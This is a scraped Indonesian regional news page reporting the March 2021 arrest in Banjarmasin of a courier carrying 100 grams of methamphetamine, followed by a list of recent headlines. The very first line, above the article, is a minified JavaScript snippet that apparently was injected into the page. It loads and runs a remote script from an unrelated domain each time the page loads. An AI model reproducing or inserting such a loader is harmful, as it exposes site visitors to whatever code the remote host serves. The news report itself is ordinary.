(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Diupah Ratusan Ribu, Pengantar 100 Gram Sabu Dibekuk Polisi di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Berdalih pengangguran, RF alias Otek, nekat menjadi kurir narkoba demi uang ratusan ribu.

Hal tersebut diakui Otek, warga Jalan Dahlia Gang Budaya, RT 31 Banjarmasin Barat, yang ditangkap polisi membawa 100 gram sabu. Otek selama ini tak ada pekerjaan, karena itu mau diiming-imingi uang Rp 100 hingga Rp 500 ribu per sekali antar.

“Itupun tergantung barang yang akan diantar, selain itu saya juga baru saja sebagai pesuruh dan selama ini tak pernah ketemu sama bandar hanya melalui telepon seluler, demi kebutuhan hidup sehari-hari itulah,” ujar RF alias Otek saat gelar perkara, di Mapolsek Banjarmasin Utara, Selasa (30/3/2021).

Kapolsekta Banjarmasin Utara Kompol Indra Agung Permana Putra, melalui Kanit Reskrim Ipda Hendra Agustian Ginting mengatakan, anggota masih mendalami kasus Narkoba untuk dapat diketahui bandar sebenarnya.

Tersangka RF sendiri ditangkap, saat berada di Jalan Sultan Adam, Banjarmasin Utara pada Minggu (28/3/2021) yang lalu, sekitar pukul 14.00 Wita. Bersamaan dengan sejumlah barang bukti berupa satu buah telepon genggam merk realmi warna biru, satu buah sepeda motor Honda Vario, warna hitam putih DA 6632 AAE.

Baca juga : 20 IUP Lolos ‘No Database’ ESDM Kalsel, DPRD dan Kejati Didesak Selidiki!

“Satu paket Narkotika jenis sabu dengan berat 100 gram yang dibungkus dengan kertas koran,” ungkap Ginting.
Sebelum tertangkapnya tersangka, anggota sering mendapatkan informasi dari masyarakat sekitar, ada orang yang mencurigakan sering melakukan transaksi Narkotika di Tempat Kejadian Pekara (TKP), lalu anggota mencoba melakukan penyelidikan soal laporan tersebut.

Setelah melakukan penyelidikan beberapa hari, alhasil anggota berhasil menangkap tersangka dengan cara menabrakan sepeda motor ke sepeda motor tersangka, supaya tak bisa berkutik lagi. Lalu tersangka langsung dibawa ke Mapolsek Banjarmasin Utara guna pemeriksaan lebih lanjut.

“Untuk tersangka, dikenakan pasal 114 ayat 2 jo, 112 ayat 2 UU No. 35 Tahun 2009 tentang Narkotika,” pungkas Ginting. (kanalkalimantan.com/tius)

 

Reporter : Tius
Editor : Kk

 

 


Al Ghifari

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

5 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

6 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

7 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.